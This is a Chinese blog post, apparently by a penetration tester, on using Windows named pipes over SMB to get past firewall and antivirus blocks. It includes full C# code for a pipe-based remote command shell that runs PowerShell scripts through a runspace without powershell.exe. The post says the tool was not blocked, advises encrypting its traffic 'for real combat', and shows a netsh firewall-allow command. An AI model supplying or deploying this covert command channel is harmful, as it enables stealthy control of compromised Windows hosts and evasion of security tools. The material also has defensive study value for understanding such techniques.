【知识回顾】命名管道

本文是根据之前文章中涉及到的命名管道的一个理解和延伸进行编写的。

PS:本文开始是投稿于安全客。但由于和别的稿件冲突了,相比下另一篇在原理探究,利用上会稍详尽一些些。只能说两篇文章是从不同角度进行的,建议结合阅读,文章连接:Windows 命名管道研究初探

0x00 介绍

之前在写 深入了解 PsExec [知识回顾]和了解 SMB Beacon 的时候,知道了它们都是通过【知识回顾】命名管道进行通信,所以本文通过一个常见的场景进行编写并绕过说明。

场景建立:在 Windows 环境中,无管理员权限的情况下,对已获取权限的机器上使用 ncat 反弹一个 shell,但是遭到防火墙或反病毒程序的阻拦 。

0x01 Windows 防火墙行为分析

在 Windows 中,当尝试使用 Bind() 绑定一个 TCP Socket 时,Defender 会弹窗提示是否允许此程序进行网络连接,只有用户点击允许访问才可放行。当然,如果我们拥有管理员权限,可以将此程序添加到白名单中,允许连接。但我们这里使用的普通用户权限,是无法添加修改防火墙规则的。所以当无权限进行修改时,注定会弹窗提示,也意味着我们的此攻击操作注定失败。

1
2
# 添加的防火墙规则
netsh advfirewall firewall add rule name="ncat.exe" dir=in program="E:\Code\Ncat\ncat.exe" action=allow

如果不添加防火墙规则,则会出现下图情况。

这种情下,Reverse shell 也是会失败的,那么我们该如何绕过这种限制呢?

其实,这个很简单: 我们就直接利用防火墙默认允许的规则就行。

在 Windows 中,通常默认允许 SMB 协议 出入站,因此,如果有什么功能或机制可以用于与外部机器进行通信的,SMB 协议 无疑是一种很好的选择。而 【知识回顾】命名管道 就是基于 SMB 协议 进行通信的,所以我们可以基于【知识回顾】命名管道与外部机器进行通信,从而建立控制通道。

0x02 【知识回顾】命名管道

“命名管道” 又名 “命名管线”,但是通常都叫命名管道,是一种简单基于 SMB 协议的进程间通信(Internet Process Connection - IPC)机制。 在计算机编程里,命名管道可在同一台计算机的不同进程之间或在跨越一个网络的不同计算机的不同进程之间,支持可靠的、单向或双向的数据通信传输。这完全符合我们的需求

和一般的管道不同,命名管道可以被不同进程以不同的方式方法调用(可以跨语言、跨平台)。只要程序知道命名管道的名字,任何进程都可以通过该名字打开管道的另一端,根据给定的权限和服务器进程通信。

默认情况下,我们无法使用命名管道来控制计算机通信,但是微软提供了很多种 Windows API 函数,例如 :

命名规范

命名管道的命名是采用的 UNC 格式\\Server\Pipe\[Path]Name 的。

第一部分\\Server指定了服务器的名字,命名管道服务即在此服务器创建,其字符串部分可表示为一个小数点(表示本机)、星号(当前网络字段)、域名或是一个真正的服务;第二部分 \Pipe 与邮槽的 \Mailslot 一样是一个不可变化的硬编码字串,以指出该文件是从属于 NTFS;第三部分[Path]Name则使应用程序可以唯一定义及标识一个命名管道的名字,而且可以设置多级目录。

C#中,若要实现命名管道,如今只需要使用 NamedPipeServerStreamNamedPipeClientStream 类,开盒即食。

0x03 使用 C#实现

命名管道既可以支持直接字节传输模式(PipeTransmissionMode.Byte),也可以支持消息传输模式(PipeTransmissionMode.Message) 。

  • 在字节模式中,信息以连续字节流的形式在客户与服务器之间流动。这也就意味着对于客户机应用和服务器应用在任何一个特定的时间段内都无法准确知道有多少字节从管道中读出或写入。在这种通信模式中,一方在向管道写入某个数量的字节后并不能保证管道的另一方能读出等量的字节。

  • 对于消息模式,客户机和服务器则是通过一系列不连续的数据包进行数据的收发。从管道发出的每一条消息都必须作为一条完整的消息读入。

在此建议使用消息模式。 下面先看看字节模式。

3.1、 测试服务端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private static void WaitData()
{
// 创建命名管道
using (NamedPipeServerStream pipeServer =
new NamedPipeServerStream("testpipe", PipeDirection.InOut, 1))
{
try
{
Console.WriteLine("[*] Waiting for client connection...");
// 等待连接
pipeServer.WaitForConnection();
Console.WriteLine("[*] Client connected.");
// 指定传输模式
pipeServer.ReadMode = PipeTransmissionMode.Byte;
using (StreamReader sr = new StreamReader(pipeServer))
{
string con = sr.ReadToEnd();
Console.WriteLine(con);
}
}
catch (IOException e)
{
throw e;
}
}
}

3.2、测试客户端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private static void SendData(string ServerName)
{
try
{
// 连接服务端命名管道
using (NamedPipeClientStream pipeClient =
new NamedPipeClientStream(ServerName, "testpipe", PipeDirection.InOut, PipeOptions.None, TokenImpersonationLevel.None))
{
pipeClient.Connect();
Console.WriteLine("[+] Connection established succesfully.");
using (StreamWriter sw = new StreamWriter(pipeClient))
{
sw.WriteLine("xixixi");
sw.Flush();
}
}
}
catch (Exception ex)
{
throw ex;
}

}

3.3、测试结果

此项测试使用的是字节传输模式(PipeTransmissionMode.Byte)。但为了执行命令,我们将上面的代码改成了 PipeTransmissionMode.Message 模式,并且需要引入之前在翻译文章 丢掉Powershell.exe来渗透测试 中看到的执行命令的一个方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private static string RunScript(string script) 
{
Runspace MyRunspace = RunspaceFactory.CreateRunspace();
MyRunspace.Open();
Pipeline MyPipeline = MyRunspace.CreatePipeline();
MyPipeline.Commands.AddScript(script);
MyPipeline.Commands.Add("Out-String");
Collection<PSObject> outputs = MyPipeline.Invoke();
MyRunspace.Close();
StringBuilder sb = new StringBuilder();
foreach (PSObject pobject in outputs)
{
sb.AppendLine(pobject.ToString());
}
return sb.ToString();
}

0x04 shell 实现

我们完全可以按照 Psexec 的原理,自己构建一个命令执行的通道。

4.1、服务端实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

private static void WaitData()
{
// 创建一个运行空间
Runspace runspace = null;
runspace = RunspaceFactory.CreateRunspace();
runspace.ApartmentState = System.Threading.ApartmentState.STA;
runspace.Open();

while(true)
{
using (var pipeServer = new NamedPipeServerStream(
"testpipe",
PipeDirection.InOut,
NamedPipeServerStream.MaxAllowedServerInstances,
PipeTransmissionMode.Message))
{
Console.WriteLine("[*] Waiting for client connection...");
pipeServer.WaitForConnection();
Console.WriteLine("[*] Client connected.");
while (true)
{
var messageBytes = ReadMessage(pipeServer);
var line = Encoding.Default.GetString(messageBytes);
Console.WriteLine("[*] Received: {0}", line);
if (line.ToLower() == "exit")
{
return;
}

// 参考:https://decoder.cloud/2017/11/02/we-dont-need-powershell-exe/
try
{
Pipeline PsPipe = runspace.CreatePipeline();
PsPipe.Commands.AddScript(line);
PsPipe.Commands.Add("Out-String");
Collection<PSObject> results = PsPipe.Invoke();
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.AppendLine(obj.ToString());
}

var response = Encoding.Default.GetBytes(stringBuilder.ToString());

try
{
pipeServer.Write(response, 0, response.Length);
}
catch
{
Console.WriteLine("[!] Pipe is broken!");
break;
}
}
catch (Exception e){}
}
}
}
}

4.2、客户端实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private static void SendData(string ServerName)
{
Console.WriteLine("[+] Connecting to " + ServerName);
using (var pipeClient = new NamedPipeClientStream(ServerName, "testpipe", PipeDirection.InOut))
{
pipeClient.Connect(5000);
pipeClient.ReadMode = PipeTransmissionMode.Message;
Console.WriteLine("[+] Connection established succesfully.");
do
{
Console.Write("csexec> ");
var input = Console.ReadLine();
if (String.IsNullOrEmpty(input)) continue;
byte[] bytes = Encoding.Default.GetBytes(input);
pipeClient.Write(bytes, 0, bytes.Length);
if (input.ToLower() == "exit") return;
var result = ReadMessage(pipeClient);
Console.WriteLine();
Console.WriteLine(Encoding.Default.GetString(result));
} while (true);
}
}

4.3、测试结果

注意:此时的操作,是根据当前 Client 的权限进行的。

抓包看看此时的网络情况。

这整个过程与 Psexec 差不多一致,只是缺少了与 服务控制管理器(SCM) 进行通信的过程。整个过程中防火墙和反病毒程序无任何阻拦。如果要应用于实战中,可以将内容先进行加密在进行传输。

这里再说一个关于平时常用的 IPC$

IPC 中文翻译网络进程连接服务,也就是说这个是为 “进程” 间建立网络连接而存在的服务,说的再明确点就是:IPC$ 是一个为 “各类进程” 建立网络通信连接而存在的服务。

那么,为什么 SMB Beacon 中,为什么不需要账号密码呢?这个问题留给你们探索!!!

0x05 参考

如何:使用命名管道进行网络进程间通信
【C#】解析C#中管道流的使用
命名管道实践
NamedPipes
https://docs.microsoft.com/zh-cn/windows/win32/ipc/named-pipes
We don’t need powershell.exe

RcoIl Alipay
!坚持技术分享,您的支持将鼓励我继续创作!